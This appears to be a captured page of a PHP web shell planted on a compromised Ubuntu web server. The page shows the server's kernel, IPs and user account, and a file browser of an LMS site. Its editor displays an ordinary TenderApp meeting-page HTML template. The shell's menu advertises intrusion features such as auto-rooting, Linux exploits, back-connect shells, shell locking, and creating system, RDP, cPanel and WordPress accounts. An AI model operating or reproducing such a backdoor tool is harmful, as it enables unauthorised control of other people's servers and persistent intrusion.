Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
api.lmsschool /
public /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxr-xr-x
course
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
front
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
svg
[ DIR ]
drwxr-xr-x
.htaccess
866
B
-rwxr-xr-x
error_log
670
B
-rw-r--r--
index.php
1.78
KB
-rwxr-xr-x
robots.txt
24
B
-rwxr-xr-x
student-screen.htm
47.83
KB
-rw-r--r--
teacher-screen.htm
48.61
KB
-rw-r--r--
web.config
914
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : teacher-screen.htm
<!doctype html> <html lang="en"> <head> <title>TenderApp</title> <!-- Required meta tags --> <meta charset="utf-8"> <meta name="csrf-token" content="R1wC5FDnO2zPbQYXoNfMDzflfGKWdgcNA4r7tXeJ"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <link rel="icon" type="image/png" href="../front/img/fav-icon.png" sizes="128x128"> <!-- Bootstrap CSS --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css"> <link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/font-awesome/4.4.0/css/font-awesome.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-datepicker/1.9.0/css/bootstrap-datepicker3.min.css"/> <link href="https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.6-rc.0/css/select2.min.css" rel="stylesheet"/> <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" crossorigin="anonymous"> <link rel="stylesheet" href="/front/css/slick.css"> <link rel="stylesheet" href="/front/css/slick-theme.css"> <link rel="stylesheet" href="/front/css/star-rating.min.css"> <link rel="stylesheet" href="/front/css/all-krajee.min.css"> <link rel="stylesheet" href="https://unpkg.com/aos@next/dist/aos.css"/> <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/fancyapps/fancybox@3.5.7/dist/jquery.fancybox.min.css"/> <link rel="stylesheet" href="/front/css/style.css"> <link rel="stylesheet" href="/front/css/meeting.css"> <link rel="stylesheet" href="/front/css/responsive.css"> <link href="https://fonts.googleapis.com/css?family=Nunito:300,400,700&display=swap" rel="stylesheet"> <link href="https://fonts.googleapis.com/css?family=Open+Sans:400,600,700,800" rel="stylesheet"> <!-- vuejs cdn and axios cdn --> <script src="/front/js/jquery.min.js" type="text/javascript"></script> <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/vue@2.6.10/dist/vue.js"></script> <script src="https://unpkg.com/axios/dist/axios.min.js"></script> <script src="https://unpkg.com/vue-multiselect@2.1.0"></script> <link rel="stylesheet" href="https://unpkg.com/vue-multiselect@2.1.0/dist/vue-multiselect.min.css"> </head> <body> <header> <div class="opaque-nav"> <div class="navigation"> <div class="top-bar"> <div class="container"> <div class="row"> <div class="col-lg-6"> <div class="inline-list social-icon-top"> <ul> <li> <a href="#" ><i class="fas fa-envelope"></i> Contact us</a > </li> <li> <a href="#" ><i class="fas fa-phone"></i> Call us</a > </li> <li> <a href="https://tenderapp.com/business/#/login" ><i class="fas fa-sign-in-alt"></i> Sign in</a > </li> </ul> </div> </div> <div class="col-lg-6"> <div class="inline-list text-lg-right"> <ul> <li> <a href="#" ><i class="fab fa-facebook-f"></i ></a> </li> <li> <a href="#"><i class="fab fa-instagram"></i></a> </li> <li> <a href="#"><i class="fab fa-twitter"></i></a> </li> </ul> </div> </div> </div> </div> </div> <div class="container"> <nav class="navbar navbar-expand-lg"> <a class="navbar-brand" href="#"> <!-- <img src="front/img/dummy-logo.png" alt=""> --> TenderApp </a> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation" > <span class="hamburger hamburger--spin"> <span class="hamburger-box"> <span class="hamburger-inner"></span> </span> </span> </button> <div class="collapse navbar-collapse" id="navbarSupportedContent" > <ul class="navbar-nav ml-auto"> <li class="nav-item active"> <a class="nav-link" href="/email/account/request" >Home <span class="sr-only">(current)</span></a > </li> <li class="nav-item dropdown"> <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown">Services</a> <div class="dropdown-menu" aria-labelledby="navbarDropdown" style="display: none;"> <div class="megamenu-block"> <div class="block-list"> </div> </div> </div> </li> <li class="nav-item"> <a class="nav-link" href="/blog">Blog</a> </li> <div class="dropdown-menu" aria-labelledby="navbarDropdown" style="display: none;" > <div class="megamenu-block"> <div class="block-list"> </div> </div> </div> </li> <li class="nav-item"> <a class="nav-link" target="_blank" href="/account-request" >Become a Partner</a > </li> <li class="nav-item"> <a href="#" class="nav-link" ><i class="far fa-heart"></i ></a> </li> <li class="nav-item"> <a href="#" class="nav-link" ><i class="fas fa-shopping-cart"></i ></a> </li> </ul> </div> </nav> </div> </div> </div> </header> <main class="main-body page-container"> <div class="main-content" style=""> <div class="page-title"> <div class="title-env"> <h1 class="title">Meeting name</h1> <p class="description">Meeting description</p> </div> <div class="breadcrumb-env"> <ol class="breadcrumb bc-1"> <li> <a href="/"><i class="fa fa-home"></i>Home</a> </li> <li class="active"> <strong>Meeting</strong> </li> </ol> </div> </div> <div class="meeting-box"> <div class="row"> <!-- Meeting Left Sidebar --> <div class="col-3 mailbox-left"> <div class="xe-widget xe-counter-block xe-counter-block-blue" data-suffix="k" data-count=".num" data-from="0" data-to="310" data-duration="4" data-easing="false"> <div class="xe-upper"> <div class="xe-icon"> <i class="fa fa-user"></i> </div> <div class="xe-label"> <strong class="num">25 present</strong> <span>Total:30 | Absent:5</span> </div> </div> <div class="xe-lower"> <div class="border"></div> <ul class="list-no-style"> <li>Shyam Adhikari</li> <li>Rashmi Shrestha</li> <li>Hari Bamsa</li> <li class="absent">Regina Basnet</li> <li>Preeti Magar</li> <li>John Doe</li> <li>Harry Potter</li> <li>Mike Smith</li> <li>Chris Mark</li> <li>Brad Lee</li> <li class="absent">Genna Wild</li> </ul> </div> </div> </div> <!-- Meeting chat --> <div class="col"> <div class="conversation-window"> <!-- User Info Link in header (used to close the chat bar) --> <ul class="conversation-messages ps-scrollbar ps-scroll-down ps-container ps-active-y"> <!-- Will indicate time --> <li class="time">Thursday 04, December '14</li> <li> <div class="user-info"> <a href="#"> <img src="/front/img/user-1.png" width="30" height="30" alt="user-image"> </a> </div> <div class="message-entry"> <p>Hello John, how are you?</p> </div> </li> <li class="me"><!-- adding class="me" will indicate that "you" are sending a message --> <div class="message-entry"> <p>Hi Art, I am fine :) How about you?</p> </div> <div class="user-info"> <a href="#"> <img src="/front/img/user-1.png" width="30" height="30" alt="user-image"> </a> </div> </li> <li> <div class="user-info"> <a href="#"> <img src="/front/img/user-1.png" width="30" height="30" alt="user-image"> </a> </div> <div class="message-entry"> <p>Warmth his law design say are person. Pronounce suspected in belonging conveying ye repulsive.</p> </div> </li> <li class="me"><!-- adding class="me" will indicate that "you" are sending a message --> <div class="message-entry"> <p>Comfort reached gay perhaps chamber his six detract besides add. Moonlight newspaper.</p> <p>Timed voice share led his widen noisy young.</p> <p>His six detract besides add moonlight newspaper.</p> </div> <div class="user-info"> <a href="#"> <img src="/front/img/user-1.png" width="30" height="30" alt="user-image"> </a> </div> </li> <li> <div class="user-info"> <a href="#"> <img src="/front/img/user-1.png" width="30" height="30" alt="user-image"> </a> </div> <div class="message-entry"> <p>Hello John, how are you?</p> </div> </li> <li class="me"><!-- adding class="me" will indicate that "you" are sending a message --> <div class="message-entry"> <p>Hi Art, I am fine :) How about you?</p> </div> <div class="user-info"> <a href="#"> <img src="/front/img/user-1.png" width="30" height="30" alt="user-image"> </a> </div> </li> <li> <div class="user-info"> <a href="#"> <img src="/front/img/user-1.png" width="30" height="30" alt="user-image"> </a> </div> <div class="message-entry"> <p>Hello John, how are you?</p> </div> </li> <!-- Will indicate time --> <li class="time">Today 17:12</li> <li class="me"><!-- adding class="me" will indicate that "you" are sending a message --> <div class="message-entry"> <p>Hi Art, I am fine :) How about you?</p> </div> <div class="user-info"> <a href="#"> <img src="/front/img/user-1.png" width="30" height="30" alt="user-image"> </a> </div> </li> <div class="ps-scrollbar-x-rail" style="left: 0px; bottom: 3px;"> <div class="ps-scrollbar-x" style="left: 0px; width: 0px;"></div> </div> <div class="ps-scrollbar-y-rail" style="top: 0px; height: 248px; right: 2px;"> <div class="ps-scrollbar-y" style="top: 0px; height: 113px;"></div> </div> </ul> <form method="post" class="chat-form"> <input type="text" class="form-control" placeholder="Enter your message..."> </form> </div> </div> <!-- Meeting Right Sidebar --> <div class="col-3"> <div class="mailbox-env"> <div class="mailbox-sidebar"> <a href="mailbox-compose.html" class="btn btn-block btn-secondary btn-icon btn-icon-standalone btn-icon-standalone-right"> <i class="linecons-mail"></i> <span>Homework</span> </a> <ul class="list-no-style mailbox-list"> <li class="active"> <a href="#"> Homework 1 <span class="badge badge-success pull-right">5</span> </a> </li> <li> <a href="#"> Homework 2 </a> </li> <li> <a href="#"> Homework 3 </a> </li> <li> <a href="#"> Homework 4 <span class="badge badge-purple pull-right">2</span> </a> </li> <li> <a href="#"> Homework 5 </a> </li> </ul> <div class="vspacer"></div> <a href="mailbox-compose.html" class="btn btn-block btn-secondary btn-icon btn-icon-standalone btn-icon-standalone-right"> <i class="linecons-mail"></i> <span>C. Test</span> </a> <ul class="list-no-style mailbox-list"> <li class="active"> <a href="#"> C. Test 1 <span class="badge badge-success pull-right">5</span> </a> </li> <li> <a href="#"> C. Test 2 </a> </li> <li> <a href="#"> C. Test 3 </a> </li> <li> <a href="#"> C. Test 4 <span class="badge badge-purple pull-right">2</span> </a> </li> <li> <a href="#"> C. Test 5 </a> </li> </ul> </div> </div> </div> </div> </div> </div> <!-- Add these two line --> <link rel="stylesheet" href="https://unpkg.com/vue-spinners@1.0.0/dist/vue-spinners.css"> <script src="https://unpkg.com/vue-spinners@1.0.0/dist/vue-spinners.browser.js"></script> <script type="text/javascript"> Vue.component('square', VueSpinners.SquareSpinner); var app = new Vue({ el: "#app", data: { item: { terk_operator_type: [], operator_type: [], company_Name: '', company_Email: '', company_Website: '', company_Phone1: '', company_Phone2: '', company_Mobile1: '', company_Mobile2: '', company_Comment: '', button_txt: 'Join Now', }, enquiry: { name: '', email: '', message: '' }, ui: { is_loading: false, is_post_loading: false, is_data_fetched: false, is_post_query_loading: false, }, errors: [], modal_errors: [], apiBaseUrl: 'https://tenderapp.com/', }, created: function () { this.fetchDepartureDetails(); }, computed: { validation: function () { // console.log("Inside validation"); this.errors = []; if (!this.item.company_Name) { Object.assign(this.errors, {company_name: ['The company name field is required.']}); return false; } if (this.item.company_Email) { let checkEmail = this.item.company_Email; if (checkEmail) { if (!checkEmail.match(/^(("[\w-\s]+")|([\w-]+(?:\.[\w-]+)*)|("[\w-\s]+")([\w-]+(?:\.[\w-]+)*))(@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$)|(@\[?((25[0-5]\.|2[0-4][0-9]\.|1[0-9]{2}\.|[0-9]{1,2}\.))((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\.){2}(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\]?$)/)) { Object.assign(this.errors, {company_email: ['Please insert valid email.']}); return false; } } } else { Object.assign(this.errors, {company_email: ['The email field is required.']}); return false; } if (this.item.company_Website) { let checkWebsite = this.item.company_Website; if (checkWebsite) { if (!checkWebsite.match(/^(?:http(s)?:\/\/)?[\w.-]+(?:\.[\w\.-]+)+[\w\-\._~:/?#[\]@!\$&'\(\)\*\+,;=.]+$/)) { Object.assign(this.errors, {company_website: ['Please insert valid website.']}); return false; } } // return false; } if (this.item.operator_type.length === 0 || !this.item.operator_type) { Object.assign(this.errors, {company_operator_type: ['At least one type is required.']}); return false; } else { return true; } } // else { // // if (!this.item.company_Name) { // // Object.assign(this.errors, { company_name: ['The company name field is required.'] }); // // return false; // // } // if (this.item.operator_type.length === 0) { // Object.assign(this.errors, { company_operator_type: ['At least one type is required.'] }); // return false; // } // // else { // // delete this.errors['company_name']; // // } // // if (!this.item.company_Email) { // // Object.assign(this.errors, { company_email: ['The email field is required.'] }); // // return false; // // } // // else { // // delete this.errors['company_operator_type']; // // } // // return false; // } // } }, methods: { checkType: function () { var _this = this; _this.item.operator_type = []; _this.item.terk_operator_type.forEach(function (value, key) { if (value.Isactive) { // console.log("CHECK", value.code); _this.item.operator_type.push({code: value.code}); } else { _this.$delete(_this.item.operator_type, key); } }); }, // IsValidationSegmentTrue: function () { // console.log("Inside validation"); // this.errors = {}; // if (this.item.company_Email) { // alert(); // let checkEmail = this.item.company_Email; // if (checkEmail) { // if (!checkEmail.match(/^(("[\w-\s]+")|([\w-]+(?:\.[\w-]+)*)|("[\w-\s]+")([\w-]+(?:\.[\w-]+)*))(@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$)|(@\[?((25[0-5]\.|2[0-4][0-9]\.|1[0-9]{2}\.|[0-9]{1,2}\.))((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\.){2}(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\]?$)/)) { // Object.assign(this.errors, { company_email: ['Please insert valid email.'] }); // return false; // } else { // this.errors = {}; // return true; // } // } // // return false; // } // if (this.item.company_Website) { // alert(); // let checkWebsite = this.item.company_Website; // if (checkWebsite) { // if (!checkWebsite.match(/^(?:http(s)?:\/\/)?[\w.-]+(?:\.[\w\.-]+)+[\w\-\._~:/?#[\]@!\$&'\(\)\*\+,;=.]+$/)) { // Object.assign(this.errors, { company_website: ['Please insert valid website.'] }); // return false; // } else { // this.errors = {}; // return true; // } // } // // return false; // } // if (this.item.company_Name) { // alert(); // let checkWebsite = this.item.company_Website; // if (checkWebsite) { // if (!checkWebsite.match(/^(?:http(s)?:\/\/)?[\w.-]+(?:\.[\w\.-]+)+[\w\-\._~:/?#[\]@!\$&'\(\)\*\+,;=.]+$/)) { // Object.assign(this.errors, { company_website: ['Please insert valid website.'] }); // return false; // } else { // this.errors = {}; // return true; // } // } // // return false; // } // else if (!this.item.company_Name || !this.item.company_Email || !this.item.operator_type || !this.item.company_Website) { // if (!this.item.company_Name) { // Object.assign(this.errors, { company_name: ['The company name field is required'] }); // // return false; // } // if (!this.item.company_Email) { // Object.assign(this.errors, { company_email: ['The email field is required.'] }); // // return false; // } // // if (!this.item.company_Website) { // // Object.assign(this.errors, { company_website: ['Please insert valid website.'] }); // // // return false; // // } // // if (!this.item.company_Phone2) { // // Object.assign(this.errors, { company_phone2: ['Company phone 2 is required.'] }); // // // return false; // // } // // if (!this.item.company_Mobile1) { // // Object.assign(this.errors, { company_mobile1: ['Company mobile 1 is required.'] }); // // // return false; // // } // // if (!this.item.company_Mobile2) { // // Object.assign(this.errors, { company_mobile2: ['Company mobile 2 is required.'] }); // // // return false; // // } // // if (!this.item.company_Comment) { // // Object.assign(this.errors, { company_comment: ['Company mobile 2 is required.'] }); // // // return false; // // } // if (!this.item.operator_type.length) { // Object.assign(this.errors, { company_operator_type: ['At least one type is required.'] }); // // return false; // } // return false; // } // else { // // if (this.item.company_Email) { // // alert(); // // let checkEmail = this.item.company_Email; // // if (checkEmail) { // // if (!checkEmail.match(/^(("[\w-\s]+")|([\w-]+(?:\.[\w-]+)*)|("[\w-\s]+")([\w-]+(?:\.[\w-]+)*))(@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?)$)|(@\[?((25[0-5]\.|2[0-4][0-9]\.|1[0-9]{2}\.|[0-9]{1,2}\.))((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\.){2}(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\]?$)/)) { // // Object.assign(this.errors, { company_email: ['Please insert valid email.'] }); // // return false; // // } else { // // this.errors = {}; // // return true; // // } // // } // // // return false; // // } // // alert("Else for return true"); // // console.log("Else for return true"); // return true; // } // }, sendRequestForm: function () { var _this = this; _this.item.button_txt = 'processing...' _this.ui.is_post_query_loading = true; if (!this.validation) { return; } ; axios.post(this.apiBaseUrl + '/api/v1/business/account_request/add', { company_name: this.item.company_Name, email: this.item.company_Email, website: this.item.company_Website, phone1: this.item.company_Phone1, phone2: this.item.company_Phone2, mobile1: this.item.company_Mobile1, mobile2: this.item.company_Mobile2, comments: this.item.company_Comment, account_modules: this.item.operator_type }) .then(function (response) { // console.log(response.data.data); _this.item.button_txt = 'Processed' window.location = "/account-request-confirmed"; _this.ui.is_post_loading = false; }) .catch(function (err) { // console.log(err); _this.modal_errors = []; if (err.response.data.code) { // alert(); if (err.response.data.code === 422) { _this.modal_errors.push(err.message); // return Promise.resolve(_this.modal_errors); } else if (err.response.data.code === 401 || err.response.data.code === 500 || err.response.data.code === 406) { _this.modal_errors.push(err.message); // return Promise.resolve(_this.modal_errors); } else if (err.response.data && err.response.data.message) { _this.modal_errors.push(err.message); // return Promise.resolve(_this.modal_errors); } else { _this.modal_errors.push(err.message); // return Promise.resolve(_this.modal_errors); } } // console.log("ERROR REsponse", error); // console.log(errorBag); // this.modal_errors = error.message; // _this.errors = error.response.data; // // console.log("ERROR", error.response.data.message); // error.response.data.map(function (value, key) { // // value.Isactive = false; // console.log(value.message); // // console.log(key); // }); }); }, // Get Api got pricing Rule and Upcomming Departure fetchDepartureDetails: function () { this.ui.is_loading = true; if (this.ui.is_data_fetched == false) { var _this = this; axios.get(this.apiBaseUrl + '/api/v1/system_module/list', {}) .then(function (response) { // console.log(response.data.data); response.data.data.forEach(function (value, key) { value.Isactive = false; // console.log(value); // console.log(key); }); _this.item.terk_operator_type = response.data.data; _this.ui.is_data_fetched = true; _this.ui.is_loading = false; }) .catch(function (err) { // console.log(error.response); _this.modal_errors = []; if (err.response.data.code) { // alert(); if (err.response.data.code === 422) { _this.modal_errors.push(err.message); // return Promise.resolve(_this.modal_errors); } else if (err.response.data.code === 401 || err.response.data.code === 500 || err.response.data.code === 406) { _this.modal_errors.push(err.message); // return Promise.resolve(_this.modal_errors); } else if (err.response.data && err.response.data.message) { _this.modal_errors.push(err.message); // return Promise.resolve(_this.modal_errors); } else { _this.modal_errors.push(err.message); // return Promise.resolve(_this.modal_errors); } } }); } }, }, }) </script> </main> <!-- <section class="newsletter-block content-block"> <div class="container"> <div class="newsletter-wrapper"> <div class="block-title"> <h2 class="text-white">Sign up for newsletter</h2> </div> <form action="#"> <div class="form-modified"> <div class="form-group"> <div class="subscribe-wrap"> <input type="text" placeholder="Enter email address" class="form-control"> <button class="btn">Subscribe</button> </div> </div> </div> </form> </div> </div> </section> --> <footer> <div class="footer-wrap"> <div class="copyright-block"> <div class="container"> <p class="mb-0">Copyright 2019 TenderApp. All rights reserved.</p> </div> </div> </div> </footer> </body> <!-- jQuery first, then Popper.js, then Bootstrap JS --> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js"></script> <script src="/front/js/jquery.stellar.min.js" type="text/javascript"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-datepicker/1.9.0/js/bootstrap-datepicker.js"></script> <script src="/front/js/equalheight.js" type="text/javascript"></script> <script src="/front/js/sticky-kit.min.js" type="text/javascript"></script> <script src="https://unpkg.com/aos@next/dist/aos.js"></script> <script src="https://cdn.jsdelivr.net/gh/fancyapps/fancybox@3.5.7/dist/jquery.fancybox.min.js"></script> <script src="https://cdn.jsdelivr.net/parallax.js/1.4.2/parallax.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.7/js/select2.min.js"></script> <script src="/front/js/star-rating.min.js" type="text/javascript"></script> <script src="/front/js/slick.min.js" type="text/javascript"></script> <link href="https://cdnjs.cloudflare.com/ajax/libs/jquery.perfect-scrollbar/0.6.10/css/perfect-scrollbar.css" rel="stylesheet"> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.perfect-scrollbar/0.6.10/js/perfect-scrollbar.jquery.js" type="text/javascript"></script> <script src="https://unpkg.com/masonry-layout@4/dist/masonry.pkgd.min.js"></script> <script src="https://unpkg.com/vue"></script> <script src="https://unpkg.com/@saeris/vue-spinners"></script> <script src="https://unpkg.com/vue-multiselect@2.1.0"></script> <link rel="stylesheet" href="https://unpkg.com/vue-multiselect@2.1.0/dist/vue-multiselect.min.css"> <script type="text/javascript"> $('.datepicker').datepicker({ format: 'mm/dd/yyyy', autoclose: true }); $("#bookModal").on('show.bs.modal', function () { $('.navigation').addClass('nav-behind'); }); $("#bookModal").on('hidden.bs.modal', function () { $('.navigation').removeClass('nav-behind'); }); var window_width = $(window).width(); if (window_width < 768) { $(".sticky_column").trigger("sticky_kit:detach"); } else { make_sticky(); } $(window).resize(function () { window_width = $(window).width(); if (window_width < 768) { $(".sticky_column").trigger("sticky_kit:detach"); } else { make_sticky(); } }); function make_sticky() { jQuery(".sticky_column").stick_in_parent(); } $(window).scroll(function () { if ($(this).scrollTop() > 100) { $('.booking-wrap > .card-box').addClass("shadow"); } else { $('.booking-wrap > .card-box').removeClass("shadow"); } }); var w = window.innerWidth; if (w >= 992) { $(window).scroll(function () { if ($(this).scrollTop() > 41) { $('.navigation').addClass("shrinking-nav"); } else { $('.navigation').removeClass("shrinking-nav"); } }); } else { $('.navigation').removeClass("shrinking-nav"); } $(document).ready(function () { $(".hamburger").click(function () { $('.hamburger').toggleClass("is-active"); }); $(".floating-button").click(function () { $(".floating-sidebar").addClass('showFilter'); }); $(".close-btn").click(function () { $(".floating-sidebar").removeClass('showFilter'); }); if ($("#floating-sidebar").hasClass("floating-sidebar showFilter")) { alert(); } $('.conversation-window').perfectScrollbar(); }); $('.input-3').rating({ displayOnly: true, step: 0.5, }); $('.star-rating').rating({ step: 0.5, }); AOS.init({ duration: 600, easing: 'ease-in', delay: 100, }); $.stellar({ horizontalScrolling: false, verticalOffset: 0, responsive: true }); $(window).scroll(function () { if ($(this).scrollTop() > 100) { $('#scroll-to-top').fadeIn(); } else { $('#scroll-to-top').fadeOut(); } }); $("#filter-scroll").click(function () { $('html, body').animate({ scrollTop: $(".main-body").offset().top }, 2000); }); $('#scroll-to-top').click(function () { $("html, body").animate({ scrollTop: 0 }, 600); return false; }); $('.item').matchHeight(); $('.js-example-basic-single').select2(); // var scene = document.getElementsByClassName('top-header'); // var parallaxInstance = new Parallax(scene); $('.itinerary-image-block').slick({ slidesToShow: 1, slidesToScroll: 1, arrows: false, dots: true, fade: false, }); $('.slider-single').slick({ slidesToShow: 1, slidesToScroll: 1, arrows: true, fade: false, adaptiveHeight: true, infinite: false, useTransform: true, speed: 400, cssEase: 'cubic-bezier(0.77, 0, 0.18, 1)', }); $('.other-package-slide').slick({ slidesToShow: 1, slidesToScroll: 1, arrows: true, fade: false, }); $('.slider-nav') .on('init', function (event, slick) { $('.slider-nav .slick-slide.slick-current').addClass('is-active'); }) .slick({ slidesToShow: 6, slidesToScroll: 6, dots: false, focusOnSelect: false, infinite: false, responsive: [{ breakpoint: 1024, settings: { slidesToShow: 5, slidesToScroll: 5, } }, { breakpoint: 640, settings: { slidesToShow: 4, slidesToScroll: 4, } }, { breakpoint: 420, settings: { slidesToShow: 3, slidesToScroll: 3, } }] }); $('.slider-single').on('afterChange', function (event, slick, currentSlide) { $('.slider-nav').slick('slickGoTo', currentSlide); var currrentNavSlideElem = '.slider-nav .slick-slide[data-slick-index="' + currentSlide + '"]'; $('.slider-nav .slick-slide.is-active').removeClass('is-active'); $(currrentNavSlideElem).addClass('is-active'); }); $('.slider-nav').on('click', '.slick-slide', function (event) { event.preventDefault(); var goToSingleSlide = $(this).data('slick-index'); $('.slider-single').slick('slickGoTo', goToSingleSlide); }); $('.package-slider').slick({ slidesToShow: 4, slidesToScroll: 1, arrows: true, autoplay: true, dots: false, responsive: [ { breakpoint: 1560, settings: { arrows: true, centerMode: true, centerPadding: '0', slidesToShow: 3, dots: false, } }, { breakpoint: 992, settings: { arrows: true, centerMode: true, centerPadding: '0', slidesToShow: 2, dots: false, } }, { breakpoint: 768, settings: { arrows: true, centerMode: true, centerPadding: '0', slidesToShow: 1, dots: false, } }, { breakpoint: 480, settings: { arrows: false, centerMode: true, centerPadding: '0px', slidesToShow: 1, dots: false, } } ] }); // Ends (function ($) { $.fn.inputFilter = function (inputFilter) { return this.on("input keydown keyup mousedown mouseup select contextmenu drop", function () { if (inputFilter(this.value)) { this.oldValue = this.value; this.oldSelectionStart = this.selectionStart; this.oldSelectionEnd = this.selectionEnd; } else if (this.hasOwnProperty("oldValue")) { this.value = this.oldValue; this.setSelectionRange(this.oldSelectionStart, this.oldSelectionEnd); } }); }; }(jQuery)); $("#uintTextBox").inputFilter(function (value) { return /^\d*$/.test(value); }); function showDropdown(e) { e.stopPropagation(); } $('.customer-review').slick({ arrows: false, dots: true }); $("#reviewBox").click(function () { $("#reviewContent").slideToggle("medium"); }); $('ul.navbar-nav li.dropdown').hover(function () { $(this).find('.dropdown-menu').stop(true, true).delay(200).fadeIn(500); }, function () { $(this).find('.dropdown-menu').stop(true, true).delay(200).fadeOut(500); }); </script> </html>
Close